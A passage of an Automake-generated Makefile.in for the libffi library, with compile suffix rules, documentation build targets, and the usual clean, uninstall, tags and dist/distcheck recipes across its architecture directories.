@am__quote@src/sparc/$(DEPDIR)/v9.Plo@am__quote@ @AMDEP_TRUE@@am__include@ @am__quote@src/x86/$(DEPDIR)/darwin.Plo@am__quote@ @AMDEP_TRUE@@am__include@ @am__quote@src/x86/$(DEPDIR)/darwin64.Plo@am__quote@ @AMDEP_TRUE@@am__include@ @am__quote@src/x86/$(DEPDIR)/ffi.Plo@am__quote@ @AMDEP_TRUE@@am__include@ @am__quote@src/x86/$(DEPDIR)/ffi64.Plo@am__quote@ @AMDEP_TRUE@@am__include@ @am__quote@src/x86/$(DEPDIR)/freebsd.Plo@am__quote@ @AMDEP_TRUE@@am__include@ @am__quote@src/x86/$(DEPDIR)/sysv.Plo@am__quote@ @AMDEP_TRUE@@am__include@ @am__quote@src/x86/$(DEPDIR)/unix64.Plo@am__quote@ @AMDEP_TRUE@@am__include@ @am__quote@src/x86/$(DEPDIR)/win32.Plo@am__quote@ @AMDEP_TRUE@@am__include@ @am__quote@src/x86/$(DEPDIR)/win64.Plo@am__quote@ %.o: %.S @am__fastdepCCAS_TRUE@ depbase=`echo $@ | sed 's|[^/]*$$|$(DEPDIR)/&|;s|\.o$$||'`;\ @am__fastdepCCAS_TRUE@ $(CPPASCOMPILE) -MT $@ -MD -MP -MF $$depbase.Tpo -c -o $@ $< &&\ @am__fastdepCCAS_TRUE@ $(am__mv) $$depbase.Tpo $$depbase.Po @AMDEP_TRUE@@am__fastdepCCAS_FALSE@ source='$<' object='$@' libtool=no @AMDEPBACKSLASH@ @AMDEP_TRUE@@am__fastdepCCAS_FALSE@ DEPDIR=$(DEPDIR) $(CCASDEPMODE) $(depcomp) @AMDEPBACKSLASH@ @am__fastdepCCAS_FALSE@ $(CPPASCOMPILE) -c -o $@ $< %.obj: %.S @am__fastdepCCAS_TRUE@ depbase=`echo $@ | sed 's|[^/]*$$|$(DEPDIR)/&|;s|\.obj$$||'`;\ @am__fastdepCCAS_TRUE@ $(CPPASCOMPILE) -MT $@ -MD -MP -MF $$depbase.Tpo -c -o $@ `$(CYGPATH_W) '$<'` &&\ @am__fastdepCCAS_TRUE@ $(am__mv) $$depbase.Tpo $$depbase.Po @AMDEP_TRUE@@am__fastdepCCAS_FALSE@ source='$<' object='$@' libtool=no @AMDEPBACKSLASH@ @AMDEP_TRUE@@am__fastdepCCAS_FALSE@ DEPDIR=$(DEPDIR) $(CCASDEPMODE) $(depcomp) @AMDEPBACKSLASH@ @am__fastdepCCAS_FALSE@ $(CPPASCOMPILE) -c -o $@ `$(CYGPATH_W) '$<'` %.lo: %.S @am__fastdepCCAS_TRUE@ depbase=`echo $@ | sed 's|[^/]*$$|$(DEPDIR)/&|;s|\.lo$$||'`;\ @am__fastdepCCAS_TRUE@ $(LTCPPASCOMPILE) -MT $@ -MD -MP -MF $$depbase.Tpo -c -o $@ $< &&\ @am__fastdepCCAS_TRUE@ $(am__mv) $$depbase.Tpo $$depbase.Plo @AMDEP_TRUE@@am__fastdepCCAS_FALSE@ source='$<' object='$@' libtool=yes @AMDEPBACKSLASH@ @AMDEP_TRUE@@am__fastdepCCAS_FALSE@ DEPDIR=$(DEPDIR) $(CCASDEPMODE) $(depcomp) @AMDEPBACKSLASH@ @am__fastdepCCAS_FALSE@ $(LTCPPASCOMPILE) -c -o $@ $< %.o: %.c @am__fastdepCC_TRUE@ depbase=`echo $@ | sed 's|[^/]*$$|$(DEPDIR)/&|;s|\.o$$||'`;\ @am__fastdepCC_TRUE@ $(COMPILE) -MT $@ -MD -MP -MF $$depbase.Tpo -c -o $@ $< &&\ @am__fastdepCC_TRUE@ $(am__mv) $$depbase.Tpo $$depbase.Po @AMDEP_TRUE@@am__fastdepCC_FALSE@ source='$<' object='$@' libtool=no @AMDEPBACKSLASH@ @AMDEP_TRUE@@am__fastdepCC_FALSE@ DEPDIR=$(DEPDIR) $(CCDEPMODE) $(depcomp) @AMDEPBACKSLASH@ @am__fastdepCC_FALSE@ $(COMPILE) -c -o $@ $< %.obj: %.c @am__fastdepCC_TRUE@ depbase=`echo $@ | sed 's|[^/]*$$|$(DEPDIR)/&|;s|\.obj$$||'`;\ @am__fastdepCC_TRUE@ $(COMPILE) -MT $@ -MD -MP -MF $$depbase.Tpo -c -o $@ `$(CYGPATH_W) '$<'` &&\ @am__fastdepCC_TRUE@ $(am__mv) $$depbase.Tpo $$depbase.Po @AMDEP_TRUE@@am__fastdepCC_FALSE@ source='$<' object='$@' libtool=no @AMDEPBACKSLASH@ @AMDEP_TRUE@@am__fastdepCC_FALSE@ DEPDIR=$(DEPDIR) $(CCDEPMODE) $(depcomp) @AMDEPBACKSLASH@ @am__fastdepCC_FALSE@ $(COMPILE) -c -o $@ `$(CYGPATH_W) '$<'` %.lo: %.c @am__fastdepCC_TRUE@ depbase=`echo $@ | sed 's|[^/]*$$|$(DEPDIR)/&|;s|\.lo$$||'`;\ @am__fastdepCC_TRUE@ $(LTCOMPILE) -MT $@ -MD -MP -MF $$depbase.Tpo -c -o $@ $< &&\ @am__fastdepCC_TRUE@ $(am__mv) $$depbase.Tpo $$depbase.Plo @AMDEP_TRUE@@am__fastdepCC_FALSE@ source='$<' object='$@' libtool=yes @AMDEPBACKSLASH@ @AMDEP_TRUE@@am__fastdepCC_FALSE@ DEPDIR=$(DEPDIR) $(CCDEPMODE) $(depcomp) @AMDEPBACKSLASH@ @am__fastdepCC_FALSE@ $(LTCOMPILE) -c -o $@ $< mostlyclean-libtool: -rm -f *.lo clean-libtool: -rm -rf .libs _libs -rm -rf src/.libs src/_libs -rm -rf src/alpha/.libs src/alpha/_libs -rm -rf src/arm/.libs src/arm/_libs -rm -rf src/avr32/.libs src/avr32/_libs -rm -rf src/cris/.libs src/cris/_libs -rm -rf src/frv/.libs src/frv/_libs -rm -rf src/ia64/.libs src/ia64/_libs -rm -rf src/m32r/.libs src/m32r/_libs -rm -rf src/m68k/.libs src/m68k/_libs -rm -rf src/mips/.libs src/mips/_libs -rm -rf src/moxie/.libs src/moxie/_libs -rm -rf src/pa/.libs src/pa/_libs -rm -rf src/powerpc/.libs src/powerpc/_libs -rm -rf src/s390/.libs src/s390/_libs -rm -rf src/sh/.libs src/sh/_libs -rm -rf src/sh64/.libs src/sh64/_libs -rm -rf src/sparc/.libs src/sparc/_libs -rm -rf src/x86/.libs src/x86/_libs distclean-libtool: -rm -f libtool config.lt doc/$(am__dirstamp): @$(MKDIR_P) doc @: > doc/$(am__dirstamp) $(srcdir)/doc/libffi.info: doc/libffi.texi $(srcdir)/doc/version.texi restore=: && backupdir="$(am__leading_dot)am$$$$" && \ am__cwd=`pwd` && $(am__cd) $(srcdir) && \ rm -rf $$backupdir && mkdir $$backupdir && \ if ($(MAKEINFO) --version) >/dev/null 2>&1; then \ for f in $@ $@-[0-9] $@-[0-9][0-9] $(@:.info=).i[0-9] $(@:.info=).i[0-9][0-9]; do \ if test -f $$f; then mv $$f $$backupdir; restore=mv; else :; fi; \ done; \ else :; fi && \ cd "$$am__cwd"; \ if $(MAKEINFO) $(AM_MAKEINFOFLAGS) $(MAKEINFOFLAGS) -I doc -I $(srcdir)/doc \ -o $@ $(srcdir)/doc/libffi.texi; \ then \ rc=0; \ $(am__cd) $(srcdir); \ else \ rc=$$?; \ $(am__cd) $(srcdir) && \ $$restore $$backupdir/* `echo "./$@" | sed 's|[^/]*$$||'`; \ fi; \ rm -rf $$backupdir; exit $$rc doc/libffi.dvi: doc/libffi.texi $(srcdir)/doc/version.texi doc/$(am__dirstamp) TEXINPUTS="$(am__TEXINFO_TEX_DIR)$(PATH_SEPARATOR)$$TEXINPUTS" \ MAKEINFO='$(MAKEINFO) $(AM_MAKEINFOFLAGS) $(MAKEINFOFLAGS) -I doc -I $(srcdir)/doc' \ $(TEXI2DVI) -o $@ `test -f 'doc/libffi.texi' || echo '$(srcdir)/'`doc/libffi.texi doc/libffi.pdf: doc/libffi.texi $(srcdir)/doc/version.texi doc/$(am__dirstamp) TEXINPUTS="$(am__TEXINFO_TEX_DIR)$(PATH_SEPARATOR)$$TEXINPUTS" \ MAKEINFO='$(MAKEINFO) $(AM_MAKEINFOFLAGS) $(MAKEINFOFLAGS) -I doc -I $(srcdir)/doc' \ $(TEXI2PDF) -o $@ `test -f 'doc/libffi.texi' || echo '$(srcdir)/'`doc/libffi.texi doc/libffi.html: doc/libffi.texi $(srcdir)/doc/version.texi doc/$(am__dirstamp) rm -rf $(@:.html=.htp) if $(MAKEINFOHTML) $(AM_MAKEINFOHTMLFLAGS) $(MAKEINFOFLAGS) -I doc -I $(srcdir)/doc \ -o $(@:.html=.htp) `test -f 'doc/libffi.texi' || echo '$(srcdir)/'`doc/libffi.texi; \ then \ rm -rf $@; \ if test ! -d $(@:.html=.htp) && test -d $(@:.html=); then \ mv $(@:.html=) $@; else mv $(@:.html=.htp) $@; fi; \ else \ if test ! -d $(@:.html=.htp) && test -d $(@:.html=); then \ rm -rf $(@:.html=); else rm -Rf $(@:.html=.htp) $@; fi; \ exit 1; \ fi $(srcdir)/doc/version.texi: @MAINTAINER_MODE_TRUE@ $(srcdir)/doc/stamp-vti $(srcdir)/doc/stamp-vti: doc/libffi.texi $(top_srcdir)/configure test -f doc/$(am__dirstamp) || $(MAKE) $(AM_MAKEFLAGS) doc/$(am__dirstamp) @(dir=.; test -f ./doc/libffi.texi || dir=$(srcdir); \ set `$(SHELL) $(srcdir)/mdate-sh $$dir/doc/libffi.texi`; \ echo "@set UPDATED $$1 $$2 $$3"; \ echo "@set UPDATED-MONTH $$2 $$3"; \ echo "@set EDITION $(VERSION)"; \ echo "@set VERSION $(VERSION)") > vti.tmp @cmp -s vti.tmp $(srcdir)/doc/version.texi \ || (echo "Updating $(srcdir)/doc/version.texi"; \ cp vti.tmp $(srcdir)/doc/version.texi) -@rm -f vti.tmp @cp $(srcdir)/doc/version.texi $@ mostlyclean-vti: -rm -f vti.tmp maintainer-clean-vti: @MAINTAINER_MODE_TRUE@ -rm -f $(srcdir)/doc/stamp-vti $(srcdir)/doc/version.texi %.ps: %.dvi TEXINPUTS="$(am__TEXINFO_TEX_DIR)$(PATH_SEPARATOR)$$TEXINPUTS" \ $(DVIPS) -o $@ $< uninstall-dvi-am: @$(NORMAL_UNINSTALL) @list='$(DVIS)'; test -n "$(dvidir)" || list=; \ for p in $$list; do \ $(am__strip_dir) \ echo " rm -f '$(DESTDIR)$(dvidir)/$$f'"; \ rm -f "$(DESTDIR)$(dvidir)/$$f"; \ done uninstall-html-am: @$(NORMAL_UNINSTALL) @list='$(HTMLS)'; test -n "$(htmldir)" || list=; \ for p in $$list; do \ $(am__strip_dir) \ echo " rm -rf '$(DESTDIR)$(htmldir)/$$f'"; \ rm -rf "$(DESTDIR)$(htmldir)/$$f"; \ done uninstall-info-am: @$(PRE_UNINSTALL) @if test -d '$(DESTDIR)$(infodir)' && \ (install-info --version && \ install-info --version 2>&1 | sed 1q | grep -i -v debian) >/dev/null 2>&1; then \ list='$(INFO_DEPS)'; \ for file in $$list; do \ relfile=`echo "$$file" | sed 's|^.*/||'`; \ echo " install-info --info-dir='$(DESTDIR)$(infodir)' --remove '$(DESTDIR)$(infodir)/$$relfile'"; \ if install-info --info-dir="$(DESTDIR)$(infodir)" --remove "$(DESTDIR)$(infodir)/$$relfile"; \ then :; else test ! -f "$(DESTDIR)$(infodir)/$$relfile" || exit 1; fi; \ done; \ else :; fi @$(NORMAL_UNINSTALL) @list='$(INFO_DEPS)'; \ for file in $$list; do \ relfile=`echo "$$file" | sed 's|^.*/||'`; \ relfile_i=`echo "$$relfile" | sed 's|\.info$$||;s|$$|.i|'`; \ (if test -d "$(DESTDIR)$(infodir)" && cd "$(DESTDIR)$(infodir)"; then \ echo " cd '$(DESTDIR)$(infodir)' && rm -f $$relfile $$relfile-[0-9] $$relfile-[0-9][0-9] $$relfile_i[0-9] $$relfile_i[0-9][0-9]"; \ rm -f $$relfile $$relfile-[0-9] $$relfile-[0-9][0-9] $$relfile_i[0-9] $$relfile_i[0-9][0-9]; \ else :; fi); \ done uninstall-pdf-am: @$(NORMAL_UNINSTALL) @list='$(PDFS)'; test -n "$(pdfdir)" || list=; \ for p in $$list; do \ $(am__strip_dir) \ echo " rm -f '$(DESTDIR)$(pdfdir)/$$f'"; \ rm -f "$(DESTDIR)$(pdfdir)/$$f"; \ done uninstall-ps-am: @$(NORMAL_UNINSTALL) @list='$(PSS)'; test -n "$(psdir)" || list=; \ for p in $$list; do \ $(am__strip_dir) \ echo " rm -f '$(DESTDIR)$(psdir)/$$f'"; \ rm -f "$(DESTDIR)$(psdir)/$$f"; \ done dist-info: $(INFO_DEPS) @srcdirstrip=`echo "$(srcdir)" | sed 's|.|.|g'`; \ list='$(INFO_DEPS)'; \ for base in $$list; do \ case $$base in \ $(srcdir)/*) base=`echo "$$base" | sed "s|^$$srcdirstrip/||"`;; \ esac; \ if test -f $$base; then d=.; else d=$(srcdir); fi; \ base_i=`echo "$$base" | sed 's|\.info$$||;s|$$|.i|'`; \ for file in $$d/$$base $$d/$$base-[0-9] $$d/$$base-[0-9][0-9] $$d/$$base_i[0-9] $$d/$$base_i[0-9][0-9]; do \ if test -f $$file; then \ relfile=`expr "$$file" : "$$d/\(.*\)"`; \ test -f "$(distdir)/$$relfile" || \ cp -p $$file "$(distdir)/$$relfile"; \ else :; fi; \ done; \ done mostlyclean-aminfo: -rm -rf libffi.aux libffi.cp libffi.cps libffi.fn libffi.ky libffi.log \ libffi.pg libffi.tmp libffi.toc libffi.tp libffi.vr clean-aminfo: -test -z "doc/libffi.dvi doc/libffi.pdf doc/libffi.ps doc/libffi.html" \ || rm -rf doc/libffi.dvi doc/libffi.pdf doc/libffi.ps doc/libffi.html maintainer-clean-aminfo: @list='$(INFO_DEPS)'; for i in $$list; do \ i_i=`echo "$$i" | sed 's|\.info$$||;s|$$|.i|'`; \ echo " rm -f $$i $$i-[0-9] $$i-[0-9][0-9] $$i_i[0-9] $$i_i[0-9][0-9]"; \ rm -f $$i $$i-[0-9] $$i-[0-9][0-9] $$i_i[0-9] $$i_i[0-9][0-9]; \ done install-pkgconfigDATA: $(pkgconfig_DATA) @$(NORMAL_INSTALL) test -z "$(pkgconfigdir)" || $(MKDIR_P) "$(DESTDIR)$(pkgconfigdir)" @list='$(pkgconfig_DATA)'; test -n "$(pkgconfigdir)" || list=; \ for p in $$list; do \ if test -f "$$p"; then d=; else d="$(srcdir)/"; fi; \ echo "$$d$$p"; \ done | $(am__base_list) | \ while read files; do \ echo " $(INSTALL_DATA) $$files '$(DESTDIR)$(pkgconfigdir)'"; \ $(INSTALL_DATA) $$files "$(DESTDIR)$(pkgconfigdir)" || exit $$?; \ done uninstall-pkgconfigDATA: @$(NORMAL_UNINSTALL) @list='$(pkgconfig_DATA)'; test -n "$(pkgconfigdir)" || list=; \ files=`for p in $$list; do echo $$p; done | sed -e 's|^.*/||'`; \ test -n "$$files" || exit 0; \ echo " ( cd '$(DESTDIR)$(pkgconfigdir)' && rm -f" $$files ")"; \ cd "$(DESTDIR)$(pkgconfigdir)" && rm -f $$files # This directory's subdirectories are mostly independent; you can cd # into them and run `make' without going through this Makefile. # To change the values of `make' variables: instead of editing Makefiles, # (1) if the variable is set in `config.status', edit `config.status' # (which will cause the Makefiles to be regenerated when you run `make'); # (2) otherwise, pass the desired values on the `make' command line. $(RECURSIVE_TARGETS): @fail= failcom='exit 1'; \ for f in x $$MAKEFLAGS; do \ case $$f in \ *=* | --[!k]*);; \ *k*) failcom='fail=yes';; \ esac; \ done; \ dot_seen=no; \ target=`echo $@ | sed s/-recursive//`; \ list='$(SUBDIRS)'; for subdir in $$list; do \ echo "Making $$target in $$subdir"; \ if test "$$subdir" = "."; then \ dot_seen=yes; \ local_target="$$target-am"; \ else \ local_target="$$target"; \ fi; \ ($(am__cd) $$subdir && $(MAKE) $(AM_MAKEFLAGS) $$local_target) \ || eval $$failcom; \ done; \ if test "$$dot_seen" = "no"; then \ $(MAKE) $(AM_MAKEFLAGS) "$$target-am" || exit 1; \ fi; test -z "$$fail" $(RECURSIVE_CLEAN_TARGETS): @fail= failcom='exit 1'; \ for f in x $$MAKEFLAGS; do \ case $$f in \ *=* | --[!k]*);; \ *k*) failcom='fail=yes';; \ esac; \ done; \ dot_seen=no; \ case "$@" in \ distclean-* | maintainer-clean-*) list='$(DIST_SUBDIRS)' ;; \ *) list='$(SUBDIRS)' ;; \ esac; \ rev=''; for subdir in $$list; do \ if test "$$subdir" = "."; then :; else \ rev="$$subdir $$rev"; \ fi; \ done; \ rev="$$rev ."; \ target=`echo $@ | sed s/-recursive//`; \ for subdir in $$rev; do \ echo "Making $$target in $$subdir"; \ if test "$$subdir" = "."; then \ local_target="$$target-am"; \ else \ local_target="$$target"; \ fi; \ ($(am__cd) $$subdir && $(MAKE) $(AM_MAKEFLAGS) $$local_target) \ || eval $$failcom; \ done && test -z "$$fail" tags-recursive: list='$(SUBDIRS)'; for subdir in $$list; do \ test "$$subdir" = . || ($(am__cd) $$subdir && $(MAKE) $(AM_MAKEFLAGS) tags); \ done ctags-recursive: list='$(SUBDIRS)'; for subdir in $$list; do \ test "$$subdir" = . || ($(am__cd) $$subdir && $(MAKE) $(AM_MAKEFLAGS) ctags); \ done ID: $(HEADERS) $(SOURCES) $(LISP) $(TAGS_FILES) list='$(SOURCES) $(HEADERS) $(LISP) $(TAGS_FILES)'; \ unique=`for i in $$list; do \ if test -f "$$i"; then echo $$i; else echo $(srcdir)/$$i; fi; \ done | \ $(AWK) '{ files[$$0] = 1; nonempty = 1; } \ END { if (nonempty) { for (i in files) print i; }; }'`; \ mkid -fID $$unique tags: TAGS TAGS: tags-recursive $(HEADERS) $(SOURCES) fficonfig.h.in $(TAGS_DEPENDENCIES) \ $(TAGS_FILES) $(LISP) set x; \ here=`pwd`; \ if ($(ETAGS) --etags-include --version) >/dev/null 2>&1; then \ include_option=--etags-include; \ empty_fix=.; \ else \ include_option=--include; \ empty_fix=; \ fi; \ list='$(SUBDIRS)'; for subdir in $$list; do \ if test "$$subdir" = .; then :; else \ test ! -f $$subdir/TAGS || \ set "$$@" "$$include_option=$$here/$$subdir/TAGS"; \ fi; \ done; \ list='$(SOURCES) $(HEADERS) fficonfig.h.in $(LISP) $(TAGS_FILES)'; \ unique=`for i in $$list; do \ if test -f "$$i"; then echo $$i; else echo $(srcdir)/$$i; fi; \ done | \ $(AWK) '{ files[$$0] = 1; nonempty = 1; } \ END { if (nonempty) { for (i in files) print i; }; }'`; \ shift; \ if test -z "$(ETAGS_ARGS)$$*$$unique"; then :; else \ test -n "$$unique" || unique=$$empty_fix; \ if test $$# -gt 0; then \ $(ETAGS) $(ETAGSFLAGS) $(AM_ETAGSFLAGS) $(ETAGS_ARGS) \ "$$@" $$unique; \ else \ $(ETAGS) $(ETAGSFLAGS) $(AM_ETAGSFLAGS) $(ETAGS_ARGS) \ $$unique; \ fi; \ fi ctags: CTAGS CTAGS: ctags-recursive $(HEADERS) $(SOURCES) fficonfig.h.in $(TAGS_DEPENDENCIES) \ $(TAGS_FILES) $(LISP) list='$(SOURCES) $(HEADERS) fficonfig.h.in $(LISP) $(TAGS_FILES)'; \ unique=`for i in $$list; do \ if test -f "$$i"; then echo $$i; else echo $(srcdir)/$$i; fi; \ done | \ $(AWK) '{ files[$$0] = 1; nonempty = 1; } \ END { if (nonempty) { for (i in files) print i; }; }'`; \ test -z "$(CTAGS_ARGS)$$unique" \ || $(CTAGS) $(CTAGSFLAGS) $(AM_CTAGSFLAGS) $(CTAGS_ARGS) \ $$unique GTAGS: here=`$(am__cd) $(top_builddir) && pwd` \ && $(am__cd) $(top_srcdir) \ && gtags -i $(GTAGS_ARGS) "$$here" distclean-tags: -rm -f TAGS ID GTAGS GRTAGS GSYMS GPATH tags distdir: $(DISTFILES) $(am__remove_distdir) test -d "$(distdir)" || mkdir "$(distdir)" @srcdirstrip=`echo "$(srcdir)" | sed 's/[].[^$$\\*]/\\\\&/g'`; \ topsrcdirstrip=`echo "$(top_srcdir)" | sed 's/[].[^$$\\*]/\\\\&/g'`; \ list='$(DISTFILES)'; \ dist_files=`for file in $$list; do echo $$file; done | \ sed -e "s|^$$srcdirstrip/||;t" \ -e "s|^$$topsrcdirstrip/|$(top_builddir)/|;t"`; \ case $$dist_files in \ */*) $(MKDIR_P) `echo "$$dist_files" | \ sed '/\//!d;s|^|$(distdir)/|;s,/[^/]*$$,,' | \ sort -u` ;; \ esac; \ for file in $$dist_files; do \ if test -f $$file || test -d $$file; then d=.; else d=$(srcdir); fi; \ if test -d $$d/$$file; then \ dir=`echo "/$$file" | sed -e 's,/[^/]*$$,,'`; \ if test -d "$(distdir)/$$file"; then \ find "$(distdir)/$$file" -type d ! -perm -700 -exec chmod u+rwx {} \;; \ fi; \ if test -d $(srcdir)/$$file && test $$d != $(srcdir); then \ cp -fpR $(srcdir)/$$file "$(distdir)$$dir" || exit 1; \ find "$(distdir)/$$file" -type d ! -perm -700 -exec chmod u+rwx {} \;; \ fi; \ cp -fpR $$d/$$file "$(distdir)$$dir" || exit 1; \ else \ test -f "$(distdir)/$$file" \ || cp -p $$d/$$file "$(distdir)/$$file" \ || exit 1; \ fi; \ done @list='$(DIST_SUBDIRS)'; for subdir in $$list; do \ if test "$$subdir" = .; then :; else \ test -d "$(distdir)/$$subdir" \ || $(MKDIR_P) "$(distdir)/$$subdir" \ || exit 1; \ fi; \ done @list='$(DIST_SUBDIRS)'; for subdir in $$list; do \ if test "$$subdir" = .; then :; else \ dir1=$$subdir; dir2="$(distdir)/$$subdir"; \ $(am__relativize); \ new_distdir=$$reldir; \ dir1=$$subdir; dir2="$(top_distdir)"; \ $(am__relativize); \ new_top_distdir=$$reldir; \ echo " (cd $$subdir && $(MAKE) $(AM_MAKEFLAGS) top_distdir="$$new_top_distdir" distdir="$$new_distdir" \\"; \ echo " am__remove_distdir=: am__skip_length_check=: am__skip_mode_fix=: distdir)"; \ ($(am__cd) $$subdir && \ $(MAKE) $(AM_MAKEFLAGS) \ top_distdir="$$new_top_distdir" \ distdir="$$new_distdir" \ am__remove_distdir=: \ am__skip_length_check=: \ am__skip_mode_fix=: \ distdir) \ || exit 1; \ fi; \ done $(MAKE) $(AM_MAKEFLAGS) \ top_distdir="$(top_distdir)" distdir="$(distdir)" \ dist-info -test -n "$(am__skip_mode_fix)" \ || find "$(distdir)" -type d ! -perm -755 \ -exec chmod u+rwx,go+rx {} \; -o \ ! -type d ! -perm -444 -links 1 -exec chmod a+r {} \; -o \ ! -type d ! -perm -400 -exec chmod a+r {} \; -o \ ! -type d ! -perm -444 -exec $(install_sh) -c -m a+r {} {} \; \ || chmod -R a+r "$(distdir)" dist-gzip: distdir tardir=$(distdir) && $(am__tar) | GZIP=$(GZIP_ENV) gzip -c >$(distdir).tar.gz $(am__remove_distdir) dist-bzip2: distdir tardir=$(distdir) && $(am__tar) | bzip2 -9 -c >$(distdir).tar.bz2 $(am__remove_distdir) dist-lzma: distdir tardir=$(distdir) && $(am__tar) | lzma -9 -c >$(distdir).tar.lzma $(am__remove_distdir) dist-xz: distdir tardir=$(distdir) && $(am__tar) | xz -c >$(distdir).tar.xz $(am__remove_distdir) dist-tarZ: distdir tardir=$(distdir) && $(am__tar) | compress -c >$(distdir).tar.Z $(am__remove_distdir) dist-shar: distdir shar $(distdir) | GZIP=$(GZIP_ENV) gzip -c >$(distdir).shar.gz $(am__remove_distdir) dist-zip: distdir -rm -f $(distdir).zip zip -rq $(distdir).zip $(distdir) $(am__remove_distdir) dist dist-all: distdir tardir=$(distdir) && $(am__tar) | GZIP=$(GZIP_ENV) gzip -c >$(distdir).tar.gz $(am__remove_distdir) # This target untars the dist file and tries a VPATH configuration. Then # it guarantees that the distribution is self-contained by making another # tarfile. distcheck: dist case '$(DIST_ARCHIVES)' in \ *.tar.gz*) \ GZIP=$(GZIP_ENV) gzip -dc $(distdir).tar.gz | $(am__untar) ;;\ *.tar.bz2*) \ bzip2 -dc $(distdir).tar.bz2 | $(am__untar) ;;\ *.tar.lzma*) \ lzma -dc $(distdir).tar.lzma | $(am__untar) ;;\ *.tar.xz*) \ xz -dc $(distdir).tar.xz | $(am__untar) ;;\ *.tar.Z*) \ uncompress -c $(distdir).tar.Z | $(am__untar) ;;\ *.shar.gz*) \ GZIP=$(GZIP_ENV) gzip -dc $(distdir).shar.gz | unshar ;;\ *.zip*) \ unzip $(distdir).zip ;;\ esac chmod -R a-w $(distdir); chmod a+w $(distdir) mkdir $(distdir)/_build mkdir $(distdir)/_inst chmod a-w $(distdir) test -d $(distdir)/_build || exit 0; \ dc_install_base=`$(am__cd) $(distdir)/_inst && pwd | sed -e 's,^[^:\\/]:[\\/],/,'` \ && dc_destdir="$${TMPDIR-/tmp}/am-dc-$$$$/" \ && am__cwd=`pwd` \ && $(am__cd) $(distdir)/_build \ && ../configure --srcdir=.. --prefix="$$dc_install_base" \ $(DISTCHECK_CONFIGURE_FLAGS) \ && $(MAKE) $(AM_MAKEFLAGS) \ && $(MAKE) $(AM_MAKEFLAGS) dvi \ && $(MAKE) $(AM_MAKEFLAGS) check \ && $(MAKE) $(AM_MAKEFLAGS) install \ && $(MAKE) $(AM_MAKEFLAGS) installcheck \ && $(MAKE) $(AM_MAKEFLAGS) uninstall \ && $(MAKE) $(AM_MAKEFLAGS) distuninstallcheck_dir="$$dc_install_base" \ distuninstallcheck \ && chmod -R a-w "$$dc_install_base" \ && ({ \ (cd ../.. && umask 077 && mkdir "$$dc_destdir") \ && $(MAKE) $(AM_MAKEFLAGS) DESTDIR="$$dc_destdir" install \ && $(MAKE) $(AM_MAKEFLAGS) DESTDIR="$$dc_destdir" uninstall \ && $(MAKE) $(AM_MAKEFLAGS) DESTDIR="$$dc_destdir" \ distuninstallcheck_dir="$$dc_destdir" distuninstallcheck; \ } || { rm -rf "$$dc_destdir"; exit 1; }) \ && rm -rf "$$dc_destdir" \ && $(MAKE) $(AM_MAKEFLAGS) dist \ && rm -rf $(DIST_ARCHIVES) \ && $(MAKE) $(AM_MAKEFLAGS) distcleancheck \ && cd "$$am__cwd" \ || exit 1 $(am__remove_distdir) @(echo "$(distdir) archives ready for distribution: "; \ list='$(DIST_ARCHIVES)'; for i in $$list; do echo $$i; done) | \ sed -e 1h -e 1s/./=/g -e 1p -e 1x -e '$$p' -e '$$x' distuninstallcheck: @$(am__cd) '$(distuninstallcheck_dir)' \ && test `$(distuninstallcheck_listfiles) | wc -l` -le 1 \ || { echo "ERROR: files left after uninstall:" ; \ if test -n "$(DESTDIR)"; then \ echo " (check DESTDIR support)"; \ fi ; \ $(distuninstallcheck_listfiles) ; \ exit 1; } >&2 distcleancheck: distclean @if test '$(srcdir)' = . ; then \ echo "ERROR: distcleancheck can only run from a VPATH build" ; \ exit 1 ; \ fi @test `$(distcleancheck_listfiles) | wc -l` -eq 0 \ || { echo "ERROR: files left in build directory after distclean:" ; \ $(distcleancheck_listfiles) ; \ exit 1; } >&2 check-am: all-am check: check-recursive all-am: Makefile $(INFO_DEPS) $(LTLIBRARIES) $(DATA) fficonfig.h installdirs: installdirs-recursive installdirs-am: for dir in "$(DESTDIR)$(libdir)" "$(DESTDIR)$(infodir)" "$(DESTDIR)$(pkgconfigdir)"; do \ test -z "$$dir" || $(MKDIR_P) "$$dir"; \ done install: install-recursive install-exec: install-exec-recursive install-data: install-data-recursive uninstall: uninstall-recursive install-am: all-am @$(MAKE) $(AM_MAKEFLAGS) install-exec-am install-data-am installcheck: installcheck-recursive install-strip: $(MAKE) $(AM_MAKEFLAGS) INSTALL_PROGRAM="$(INSTALL_STRIP_PROGRAM)" \ install_sh_PROGRAM="$(INSTALL_STRIP_PROGRAM)" INSTALL_STRIP_FLAG=-s \ `test -z '$(STRIP)' || \ echo "INSTALL_PROGRAM_ENV=STRIPPROG='$(STRIP)'"` install mostlyclean-generic: clean-generic: distclean-generic: -test -z "$(CONFIG_CLEAN_FILES)" || rm -f $(CONFIG_CLEAN_FILES) -test . = "$(srcdir)" || test -z "$(CONFIG_CLEAN_VPATH_FILES)" || rm -f $(CONFIG_CLEAN_VPATH_FILES) -rm -f doc/$(am__dirstamp) -rm -f src/$(DEPDIR)/$(am__dirstamp) -rm -f src/$(am__dirstamp) -rm -f src/alpha/$(DEPDIR)/$(am__dirstamp) -rm -f src/alpha/$(am__dirstamp) -rm -f src/arm/$(DEPDIR)/$(am__dirstamp) -rm -f src/arm/$(am__dirstamp) -rm -f src/avr32/$(DEPDIR)/$(am__dirstamp) -rm -f src/avr32/$(am__dirstamp) -rm -f src/cris/$(DEPDIR)/$(am__dirstamp) -rm -f src/cris/$(am__dirstamp) -rm -f src/frv/$(DEPDIR)/$(am__dirstamp) -rm -f src/frv/$(am__dirstamp) -rm -f src/ia64/$(DEPDIR)/$(am__dirstamp) -rm -f src/ia64/$(am__dirstamp) -rm -f src/m32r/$(DEPDIR)/$(am__dirstamp) -rm -f src/m32r/$(am__dirstamp) -rm -f src/m68k/$(DEPDIR)/$(am__dirstamp) -rm -f src/m68k/$(am__dirstamp) -rm -f src/mips/$(DEPDIR)/$(am__dirstamp) -rm -f src/mips/$(am__dirstamp) -rm -f src/moxie/$(DEPDIR)/$(am__dirstamp) -rm -f src/moxie/$(am__dirstamp) -rm -f src/pa/$(DEPDIR)/$(am__dirstamp) -rm -f src/pa/$(am__dirstamp) -rm -f src/powerpc/$(DEPDIR)/$(am__dirstamp) -rm -f src/powerpc/$(am__dirstamp) -rm -f src/s390/$(DEPDIR)/$(am__dirstamp) -rm -f src/s390/$(am__dirstamp) -rm -f src/sh/$(DEPDIR)/$(am__dirstamp) -rm -f src/sh/$(am__dirstamp) -rm -f src/sh64/$(DEPDIR)/$(am__dirstamp) -rm -f src/sh64/$(am__dirstamp) -rm -f 